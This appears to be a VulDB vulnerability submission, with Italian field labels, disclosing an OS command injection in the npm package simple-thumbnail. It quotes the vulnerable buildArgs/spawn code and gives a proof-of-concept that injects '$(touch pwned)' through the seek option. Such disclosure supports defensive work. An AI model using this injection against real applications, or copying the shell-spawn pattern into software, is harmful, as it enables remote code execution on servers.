| Titolo | philipjscott simple-thumbnail >= 1.1.0 <= 1.6.5 OS Command Injection |
|---|
| Descrizione | Package: simple-thumbnail (npmjs)
Weakness: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CVSS 3.1: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) or an 8.8 if behind an authentication gate
Package URL: https://www.npmjs.com/package/simple-thumbnail
GitHub URL: https://github.com/philipjscott/simple-thumbnail/
simple-thumbnail (specifically versions >= 1.1.0 <= 1.6.5) is used to generate a video thumbnail via ffmpeg. The argument list is built with the genThumbnail(input, output, size, config) function. It spawns ffmpeg with { shell: true }. This means that node uses /bin/sh -c "<command + args>", this means that every element of args is reparsed by the shell. buildArgs() only wraps the user-supplied input/output paths in double quotes and emits the seek value completely unquoted. This is a classic DEP0190 that Node warns against.
Please consider the following vulnerable code:
```js
function buildArgs (input, output, { width, height, percentage }, seek) { // line 55
const scaleArg = (percentage) ? `-vf scale=iw*${percentage/100}:ih*${percentage/100}`
: `-vf scale=${width || -1}:${height || -1}`
return [ '-y', `-i ${input}`, '-vframes 1', `-ss ${seek}`, scaleArg, output ] // seek is passed in raw
....SNIP...
function ffmpegExecute (path, args, rstream, wstream) {
const ffmpeg = spawn(`"${path}"`, args, { shell: true }) // vulnerable sink, L82
...SNIP...
```
As the seek value is always meant to be user-controllable (for generating thumbnail for a certain timestamp), this is exploitable and results in full RCE as the Node user.
Confirmation PoC:
```
$ mkdir /tmp/st && cd /tmp/st && npm i simple-thumbnail
$ node -e 'require("simple-thumbnail")("x.mp4","o.png","200x200",{seek:"$(touch pwned)"}).catch(()=>{})'
$ ls
pwned
```
References:
- https://github.com/philipjscott/simple-thumbnail/blob/master/index.js#L81
- https://nodejs.org/api/deprecations.html#dep0190-passing-args-to-nodechild_process-execfilespawn-with-shell-option
- https://github.com/philipjscott/simple-thumbnail/issues/88
|
|---|
| Fonte | ⚠️ https://github.com/philipjscott/simple-thumbnail/issues/88 |
|---|
| Utente | ma1ware (UID 102050) |
|---|
| Sottomissione | 27/10/2026 14:48 (29 giorni fa) |
|---|
| Moderazione | 25/11/2026 16:52 (29 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 443910 [philipjscott simple-thumbnail fino a 1.6.5 index.js ffmpegExecute seek escalationi di privilegi] |
|---|
| Punti | 20 |
|---|